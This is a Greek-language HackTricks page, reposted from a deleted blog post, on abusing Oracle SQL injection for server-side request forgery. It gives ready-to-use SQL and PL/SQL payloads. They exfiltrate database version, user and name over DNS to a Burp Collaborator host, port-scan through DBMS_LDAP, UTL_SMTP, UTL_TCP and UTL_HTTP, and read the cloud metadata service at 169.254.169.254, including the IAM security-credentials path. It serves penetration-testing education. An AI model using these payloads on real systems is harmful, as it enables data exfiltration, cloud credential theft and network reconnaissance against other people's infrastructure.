Oracle injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Σερβίρετε αυτήν την ανάρτηση ως αντίγραφο από τον wayback machine της διαγραμμένης ανάρτησης από https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Η χρήση του Oracle για την εκτέλεση αιτημάτων HTTP και DNS εκτός του περιβάλλοντος είναι καλά τεκμηριωμένη, αλλά ως μέσο για την εξαγωγή δεδομένων SQL σε εισχώρηση. Μπορούμε πάντα να τροποποιήσουμε αυτές τις τεχνικές/συναρτήσεις για να κάνουμε άλλες SSRF/XSPA.

Η εγκατάσταση του Oracle μπορεί να είναι πολύ επώδυνη, ειδικά αν θέλετε να δημιουργήσετε γρήγορα μια περίπτωση για να δοκιμάσετε εντολές. Ο φίλος μου και συνάδελφος στην Appsecco, Abhisek Datta, με έστειλε στο https://github.com/MaksymBilenko/docker-oracle-12c που μου επέτρεψε να δημιουργήσω μια περίπτωση σε μια μηχανή Ubuntu της AWS τύπου t2.large και με τη χρήση του Docker.

Εκτέλεσα την εντολή του Docker με τη σημαία --network="host" έτσι ώστε να μπορώ να προσομοιώσω το Oracle ως μια εγκατάσταση native με πλήρη πρόσβαση στο δίκτυο, για τη διάρκεια αυτής της ανάρτησης στο blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Πακέτα Oracle που υποστηρίζουν προδιαγραφή URL ή Όνομα Υπολογιστή/Αριθμό Θύρας

Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν προδιαγραφή για όνομα υπολογιστή και θύρα, έκανα μια αναζήτηση στην Διαδικτυακή Τεκμηρίωση της Oracle Database. Συγκεκριμένα,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Η αναζήτηση επέστρεψε τα παρακάτω αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για εξερχόμενο δίκτυο):

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Αυτή η απλή αναζήτηση προφανώς παραλείπει πακέτα όπως το DBMS_LDAP (που επιτρέπει την πέραση ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η σελίδα της τεκμηρίωσης απλώς σας κατευθύνει σε διαφορετική τοποθεσία. Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούνται για να πραγματοποιηθούν εξερχόμενα αιτήματα που μπορεί να έχω παραλείψει.

Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και αναφέρουμε παραπάνω.

DBMS_LDAP.INIT

Το πακέτο DBMS_LDAP επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση init() αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και δέχεται ως όρισμα ένα όνομα κεντρικού υπολογιστή και έναν αριθμό θύρας.

Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει τη διαρροή δεδομένων μέσω του DNS, όπως παρακάτω

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Ωστόσο, δεδομένου ότι η συνάρτηση δέχεται ένα όνομα κεντρικού υπολογιστή και έναν αριθμό θύρας ως ορίσματα, μπορείτε να τη χρησιμοποιήσετε για να λειτουργήσει ως ένα εργαλείο σάρωσης θυρών επίσης.

Εδώ υπάρχουν μερικά παραδείγματα

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ένα ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. δείχνει ότι η θύρα είναι κλειστή ενώ μια τιμή συνεδρίας δείχνει ότι η θύρα είναι ανοιχτή.

UTL_SMTP

Το πακέτο UTL_SMTP σχεδιάστηκε για την αποστολή ηλεκτρονικών μηνυμάτων μέσω του πρωτοκόλλου SMTP. Το παράδειγμα που παρέχεται στην ιστοσελίδα της Oracle documentation δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email. Για εμάς, όμως, το ενδιαφέρον είναι η δυνατότητα να παρέχουμε έναν κεντρικό υπολογιστή (host) και μια προδιαγραφή θύρας (port).

Ένα απλό παράδειγμα παρουσιάζεται παρακάτω με τη χρήση της συνάρτησης UTL_SMTP.OPEN_CONNECTION, με ένα χρονικό όριο 2 δευτερολέπτων.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Ένα ORA-29276: transfer timeout δείχνει ότι ο θύρα είναι ανοιχτή, αλλά δεν έχει καθιερωθεί σύνδεση SMTP, ενώ ένα ORA-29278: SMTP transient error: 421 Service not available δείχνει ότι η θύρα είναι κλειστή.

UTL_TCP

Το πακέτο UTL_TCP και οι διαδικασίες και συναρτήσεις του επιτρέπουν την επικοινωνία βασισμένη στο πρωτόκολλο TCP/IP με υπηρεσίες. Εάν προγραμματιστεί για μια συγκεκριμένη υπηρεσία, αυτό το πακέτο μπορεί εύκολα να γίνει ένας τρόπος εισόδου στο δίκτυο ή να εκτελέσει πλήρεις αιτήσεις από την πλευρά του διακομιστή, καθώς όλες οι πτυχές μιας σύνδεσης TCP/IP μπορούν να ελεγχθούν.

Το παράδειγμα στην ιστοσελίδα της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη σύνδεση TCP για να ανακτήσετε μια ιστοσελίδα. Μπορούμε να το απλοποιήσουμε ακόμα περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήσεις στην παράδειγμα μεταδεδομένων ή σε μια αυθαίρετη υπηρεσία TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Ενδιαφέροντος, λόγω της δυνατότητας δημιουργίας ακατέργαστων αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για το ερώτημα της υπηρεσίας μεταδεδομένων της παροχής υπηρεσιών σε όλους τους παρόχους cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσω του αιτήματος TCP.

UTL_HTTP και αιτήματα Web

Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε οδηγό για το Oracle SQL Injection είναι το πακέτο UTL_HTTP. Αυτό το πακέτο καθορίζεται από την τεκμηρίωση ως - Το πακέτο UTL_HTTP πραγματοποιεί κλήσεις Hypertext Transfer Protocol (HTTP) από το SQL και το PL/SQL. Μπορείτε να το χρησιμοποιήσετε για να έχετε πρόσβαση σε δεδομένα στο Internet μέσω του πρωτοκόλλου HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Μπορείτε επιπλέον να χρησιμοποιήσετε αυτό για να εκτελέσετε και μια αρχική σάρωση θυρών με ερωτήματα όπως:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ένα ORA-12541: TNS:no listener ή ένα TNS:operation timed out είναι ένα σημάδι ότι ο θύρα TCP είναι κλειστή, ενώ ένα ORA-29263: HTTP protocol error ή δεδομένα είναι ένα σημάδι ότι η θύρα είναι ανοιχτή.

Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με μεταβλητή επιτυχία είναι η GETCLOB() μέθοδος του αφηρημένου τύπου Oracle HTTPURITYPE που σας επιτρέπει να αλληλεπιδράτε με ένα URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος GETCLOB() χρησιμοποιείται για να ανακτήσει την απόκριση GET από ένα URL ως τύπος δεδομένων CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated